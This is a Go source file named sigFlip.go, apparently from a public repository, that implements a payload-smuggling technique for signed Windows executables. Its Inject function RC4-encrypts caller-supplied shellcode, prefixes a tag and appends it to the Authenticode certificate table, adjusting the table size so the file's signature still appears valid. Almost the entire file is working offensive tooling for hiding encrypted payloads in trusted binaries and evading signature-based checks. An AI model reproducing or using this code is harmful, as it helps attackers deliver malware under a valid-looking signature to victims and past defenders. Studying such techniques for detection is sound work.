-
Notifications
You must be signed in to change notification settings - Fork 8
/
sigFlip.go
139 lines (123 loc) · 4.15 KB
/
sigFlip.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package gSigFlip
import (
"bytes"
"crypto/rc4"
"debug/pe"
"encoding/binary"
"errors"
"fmt"
"io"
"io/ioutil"
"math"
)
func getPENtHeaderOffset(fileBytes []byte) uint64 {
ntHeaderOffsetBytes := fileBytes[0x3C:0x40]
ntHeaderOffset := binary.LittleEndian.Uint32(ntHeaderOffsetBytes)
return uint64(ntHeaderOffset)
}
func GeneratePECheckSum(fileBytes []byte) uint32 {
// get checksum offset
ntHeaderOffset := getPENtHeaderOffset(fileBytes)
checksumOffset := ntHeaderOffset + 0x58
var checksum uint64 = 0
top := uint64(math.Pow(2, 32))
for i := 0; i < len(fileBytes)/4; i++ {
if i == int(checksumOffset/4) {
continue
}
dword := binary.LittleEndian.Uint32(fileBytes[i*4 : (i*4)+4])
checksum = (checksum & 0xffffffff) + uint64(dword) + (checksum >> 32)
if checksum > top {
checksum = (checksum & 0xffffffff) + (checksum >> 32)
}
}
checksum = (checksum & 0xffff) + (checksum >> 16)
checksum = (checksum) + (checksum >> 16)
checksum = checksum & 0xffff
checksum += uint64(len(fileBytes))
return uint32(checksum)
}
// Is32BitPE determine if the pe file is 32bit
func Is32BitPE(fileBytes []byte) bool {
ntHeaderOffset := getPENtHeaderOffset(fileBytes)
characteristicsOffset := ntHeaderOffset + 0x16
characteristicsBytes := fileBytes[characteristicsOffset : characteristicsOffset+2]
characteristics := binary.LittleEndian.Uint16(characteristicsBytes)
return characteristics&0x0100 == 0x0100
}
// GetCertTableOffset get the location of the certificate form in the file
func GetCertTableOffset(fileBytes []byte) uint64 {
ntHeaderOffset := getPENtHeaderOffset(fileBytes)
var certTblOffsetFromNtHeader uint64 = 0xA8
if Is32BitPE(fileBytes) {
certTblOffsetFromNtHeader = 0x98
}
return ntHeaderOffset + certTblOffsetFromNtHeader
}
func encryptShellcode(shellcode []byte, rc4key []byte) (data []byte, err error) {
if len(rc4key) <= 0 {
return shellcode, nil
}
rc4Cipher, err := rc4.NewCipher(rc4key)
if err != nil {
return nil, err
}
data = make([]byte, len(shellcode))
rc4Cipher.XORKeyStream(data, shellcode)
return
}
// Inject tag and shellcode to pe cert table, tag length must be at least 8
func Inject(fr io.Reader, shellcode []byte, tag []byte, rc4key []byte) (newFileBytes []byte, err error) {
if len(tag) < 8 {
err = errors.New("tag length must be at least 8")
return
}
var fileBytes []byte
fileBytes, err = ioutil.ReadAll(fr)
if err != nil {
return
}
// RC4 encrypt and Tag
encryptedShellcode, err := encryptShellcode(shellcode, rc4key)
if err != nil {
return
}
encryptedData := append(tag, encryptedShellcode...)
// Adjust extra padding
extraPaddingCount := 0
if len(fileBytes)+len(encryptedData)%8 != 0 {
for (len(fileBytes)+len(encryptedData)+extraPaddingCount)%8 != 0 {
extraPaddingCount += 1
}
extraPadding := make([]byte, extraPaddingCount)
encryptedData = append(encryptedData, extraPadding...)
}
var pefile *pe.File
pefile, err = pe.NewFile(bytes.NewReader(fileBytes))
if err != nil {
return
}
// DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress actually mean file offset
// https://social.msdn.microsoft.com/Forums/windows/en-US/29d3a40b-844e-49a5-b436-3aff929dba30/does-datadirectoryimagedirectoryentrysecurityvirtualaddress-actually-mean-file-offset?forum=windowssdk
var certTableFOA uint32
var certTableSize uint32
switch t := pefile.OptionalHeader.(type) {
case *pe.OptionalHeader32:
certTableFOA = t.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
certTableSize = t.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
case *pe.OptionalHeader64:
certTableFOA = t.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
certTableSize = t.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
}
if certTableFOA == 0 {
err = fmt.Errorf("This file is not signed")
return
}
// update the size in the cert table
certTableOffset := GetCertTableOffset(fileBytes)
newCertTableSize := uint32(len(encryptedData)) + certTableSize
binary.LittleEndian.PutUint32(fileBytes[certTableOffset+4:certTableOffset+8], newCertTableSize)
binary.LittleEndian.PutUint32(fileBytes[certTableFOA:certTableFOA+4], newCertTableSize)
newFileBytes = append(fileBytes, encryptedData...)
return
}